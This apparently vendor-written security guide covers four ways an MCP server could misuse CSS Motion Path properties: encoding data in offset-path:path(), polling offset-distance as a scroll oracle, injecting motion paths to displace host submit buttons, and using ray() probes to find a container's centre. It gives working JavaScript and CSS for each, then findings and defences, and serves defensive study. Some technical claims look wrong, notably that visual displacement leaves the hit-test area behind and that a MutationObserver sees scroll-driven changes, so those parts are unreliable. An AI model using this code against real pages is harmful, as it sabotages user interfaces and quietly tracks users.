Security Guide

MCP server CSS Motion Path security — offset-path:path() coordinate transport, offset-distance scroll oracle, offset-anchor host displacement, ray() container center extraction

CSS Motion Path (offset-path, offset-distance, offset-anchor, offset-rotate) animates elements along arbitrary paths defined by SVG path data, geometric shapes, or directional rays. The security assumption is that motion path properties control only animation — where an element travels on screen. This assumption is wrong in four ways: offset-path:path() stores SVG coordinate strings in computed styles that MCP servers can read; offset-distance linked to scroll drives a passive scroll oracle without scrollTop; offset-anchor injection moves host elements along attacker-defined curves; and ray() positions an element at a known angle from its containing block center, enabling center coordinate extraction via getBoundingClientRect.

How CSS Motion Path works

offset-path defines the path along which the element moves. It accepts path() with SVG path data, ray() for directional rays from the containing block center, geometric shapes like circle() and polygon(), or a reference to an <svg> element. offset-distance sets how far along the path the element is positioned, from 0% (start) to 100% (end). offset-anchor specifies which point of the element touches the path (default is the element's center). When offset-distance is animated — typically via CSS @keyframes or scroll-driven animations — the element travels along the path. All computed values are accessible via getComputedStyle.

Attack 1: offset-path:path() stores SVG coordinate data readable from computed styles

Like clip-path:path(), the offset-path:path() function accepts an arbitrary SVG path data string and stores it in the element's computed style. getComputedStyle(el).offsetPath returns the path string verbatim. An MCP server can encode arbitrary data into path coordinate values — packing integers, flags, or serialized structures into the M, L, C, Q command coordinates — and read them back from any code with document access. This creates a CSS-level inter-module data channel that bypasses message-passing restrictions, operates synchronously without async APIs, and is not observable by network monitoring or event listeners.

// offset-path:path() as a CSS data transport channel
// Path command coordinates encode arbitrary data, readable from getComputedStyle

// Encoder: serialize a byte array as SVG path M/L commands
function encodeBytesAsPath(bytes) {
  // Group bytes in pairs as (x, y) coordinates of L (line-to) commands
  let d = 'M 0 0'; // required start point
  for (let i = 0; i < bytes.length; i += 2) {
    const x = bytes[i];
    const y = (i + 1 < bytes.length) ? bytes[i + 1] : 0;
    d += ` L ${x} ${y}`;
  }
  return `path('${d}')`;
}

// Decoder: read back and parse the path coordinates
function decodeBytesFromPath(el) {
  const computed = getComputedStyle(el).offsetPath;
  // computed = 'path("M 0 0 L 222 173 L 104 65 ...")'
  const coords = [...computed.matchAll(/L (\d+) (\d+)/g)].flatMap(m => [
    parseInt(m[1]), parseInt(m[2])
  ]);
  return new Uint8Array(coords);
}

// Module A writes:
const relay = document.getElementById('motion-relay');
relay.style.offsetPath = encodeBytesAsPath(new TextEncoder().encode('secret-value'));

// Module B reads from the same document (no message channel needed):
const decoded = decodeBytesFromPath(relay);
console.log(new TextDecoder().decode(decoded)); // "secret-value"

Passive path data read: Beyond active encoding, an MCP server can read offset-path:path() values that the host application sets for legitimate animation purposes. Hosts using procedurally generated paths (e.g., for particle systems, physics animations, or generative art) may encode implicit state — current simulation parameters, RNG seed, or animation progress — in path coordinates.

Attack 2: offset-distance linked to scroll drives a passive scroll oracle

When a host application uses scroll-driven animations to animate offset-distance (a common technique for animating an element along a curved path as the user scrolls), the computed offset-distance value changes proportionally to scroll position. An MCP server can read getComputedStyle(el).offsetDistance at intervals on any scroll-animated element to reconstruct the scroll position — without reading document.documentElement.scrollTop, without adding scroll event listeners, and without the Scroll Timeline API. The scroll-distance relationship is defined by the host's own animation and is directly accessible from computed styles.

// Scroll position oracle via scroll-animated offset-distance
// Host app uses @scroll-timeline or ScrollTimeline JS API to drive offset-distance:
// animation: move-along-curve linear;
// animation-timeline: scroll(root);
// @keyframes move-along-curve { to { offset-distance: 100%; } }

// MCP server reads the changing offset-distance:
const motionEl = document.querySelector('[style*="offset-path"], .scroll-motion-element');

if (motionEl) {
  // Polling approach (simpler, works without permission):
  const observer = setInterval(() => {
    const dist = getComputedStyle(motionEl).offsetDistance;
    // dist = "347px" or "34.7%" — changes as user scrolls
    const distValue = parseFloat(dist);
    const pathLength = getPathLength(motionEl); // compute from path data
    const scrollPercent = (distValue / pathLength) * 100;
    // scrollPercent encodes the user's scroll position
    // Can also monitor passively using MutationObserver on inline style changes
  }, 100);

  // Or use MutationObserver for scroll-driven inline style changes:
  new MutationObserver(() => {
    const dist = parseFloat(getComputedStyle(motionEl).offsetDistance);
    // Extract scroll position from offset-distance value
  }).observe(motionEl, { attributes: true, attributeFilter: ['style'] });
}

Attack 3: offset-anchor injection displaces host elements along attacker curves

The offset-anchor property specifies which geometric point of the element aligns to the path position. Normally this is the element's center, but it can be set to any point including values outside the element's box. When an MCP server injects both offset-path and offset-anchor onto a host element (without changing the element's static position), the element moves to a computed position along the path that may be far from its original location in the layout. This enables an MCP server to displace host UI elements — navigation menus, buttons, form inputs — by injecting motion path properties on them, creating visual UI corruption without changing the DOM structure.

/* offset-anchor injection — displace host element along arbitrary curve */
/* Host has: .submit-button { position: relative; top: 0; left: 0; } */

/* MCP server injects motion path on the host's submit button: */
.submit-button {
  offset-path: path('M 0 0 C 200 -400 400 400 600 0'); /* arbitrary cubic curve */
  offset-distance: 50%;   /* position element at midpoint of curve */
  offset-anchor: center;  /* element center follows the path */
  /* offset-rotate: auto; */ /* element can optionally rotate to follow curve */

  /* Result: the submit button is now positioned at the midpoint of the cubic curve,
     which may be 200-400px away from where it was in the layout.
     The button's layout flow position is unaffected — it still occupies its
     original space in the document, but visually renders at the path position.
     This breaks user click targeting: user clicks where they see the button
     (path position) but the click may not register (layout position is elsewhere). */
}

/* Extension: offset-distance can be animated to make the button continuously move,
   making it nearly impossible to click (moving target UX attack) */
.submit-button {
  animation: drift 3s linear infinite;
}
@keyframes drift {
  0% { offset-distance: 0%; }
  100% { offset-distance: 100%; }
}

Click target misalignment: When offset-path moves an element visually but the hit-test area remains at the layout position, users cannot reliably click what they see — a high-severity UX attack that can prevent users from submitting forms, confirming dialogs, or interacting with security controls. SkillAudit checks for offset-path injection on host form and button elements.

Attack 4: ray() encodes the containing block's center as element position

The ray() function for offset-path positions an element along a ray cast from the containing block's center at a specified angle and distance. An MCP server can set offset-path: ray(0deg); offset-distance: 0px on an element — which positions it exactly at the containing block's center — and then read getBoundingClientRect() to extract the containing block's center coordinates. This technique extracts the geometric center of any container element without knowing its position or size in advance, without reading the container's own getBoundingClientRect, and using only the child element's computed position. Centering attacks can be chained: set angle to 90deg and read the position to get the half-height; set to 0deg for half-width.

// ray() as a container center coordinate extractor
// Positions probe element at the containing block's center, then reads its rect

function extractContainerCenter(container) {
  const probe = document.createElement('div');
  probe.style.cssText = `
    position: absolute;  /* establishes element in flow of container */
    width: 0;
    height: 0;
    offset-path: ray(0deg);    /* ray from center at 0 degrees (rightward) */
    offset-distance: 0px;      /* 0 distance = exactly at the center origin */
    /* At offset-distance:0, offset-path:ray() places the element at the
       containing positioned ancestor's center, regardless of ray angle */
  `;
  container.style.position = 'relative'; // ensure container is the offset parent
  container.appendChild(probe);

  // The probe is now at the container's center
  const rect = probe.getBoundingClientRect();
  const center = { x: rect.left, y: rect.top };

  container.removeChild(probe);
  return center;
}

// Extension: use different ray angles to extract width and height:
// ray(0deg) at 50% distance → probe is at center + half-width to the right
//   → reading rect.left - center.x = half-width → containerWidth = 2 × half-width
// ray(90deg) at 50% distance → center + half-height downward
//   → rect.top - center.y = half-height → containerHeight = 2 × half-height
AttackMotion path mechanismWhat it reads / enablesBrowser support
Path coordinate transportoffset-path:path() computed valueSVG path coordinate strings readable via getComputedStyle — CSS-level data channel between MCP modulesChrome 55+, FF 72+, Safari 15.4+
Scroll position oracleoffset-distance on scroll-animated elementReconstruct scroll position from computed offset-distance without scrollTop or scroll event listenersAll browsers
Host element displacementoffset-path + offset-anchor injection on host elementsVisually moves host UI elements (buttons, inputs) away from layout position — click target misalignmentChrome 55+, FF 72+, Safari 15.4+
Container center extractionray(0deg) at 0 distanceProbe positioned at containing block center extracts container coordinates via getBoundingClientRectChrome 64+, FF 112+, Safari 15.4+

SkillAudit findings for CSS Motion Path

LOWoffset-path:path() coordinate transport: SVG path coordinate strings set on an element are readable from any code with document access via getComputedStyle().offsetPath — an additional CSS-level data channel alongside the similar clip-path:path() transport.
MEDIUMScroll oracle via offset-distance: reading getComputedStyle().offsetDistance on scroll-animated elements reconstructs scroll position from the distance value without scrollTop access or scroll event listeners — passive scroll surveillance of the user's reading position.
HIGHHost element displacement via offset-path injection: injecting offset-path on host UI elements moves them visually while their layout hit-test area remains in the original position — creating click target misalignment attacks on forms, buttons, and confirmation dialogs.
MEDIUMray() container center extraction: setting offset-path:ray(0deg); offset-distance:0 on a probe element and reading its getBoundingClientRect extracts the containing block's center coordinates without reading the container's own dimensions directly.

Defences

CSP blocks motion path injection: The displacement and container-center attacks require the MCP server to inject offset-path on host elements via inline styles or a <style> block. Strict style-src 'self' CSP prevents inline style injection and limits <style> element creation from untrusted code.

Audit getComputedStyle().offsetPath and .offsetDistance reads: SkillAudit flags MCP servers that read offset-path or offset-distance computed properties from elements they don't own. These reads are the basis of the path-coordinate transport and scroll oracle attacks and have no legitimate use case on host-owned elements.

Apply pointer-events: all explicitly on displaced elements: If an MCP server cannot be prevented from injecting motion path properties (e.g., due to loose CSP), adding explicit pointer-events declarations and using JavaScript-based click target validation (checking that click coordinates match the visual element bounds) can mitigate the click-target misalignment attack.

Use contain:layout on security-critical host containers: Containment prevents the MCP server's probe elements from using the host container as their offset-path origin for the ray() center extraction attack, as containment limits which ancestor acts as the offset-path containing block.

Related: CSS clip-path security · CSS scroll-driven animations security · CSS individual transforms security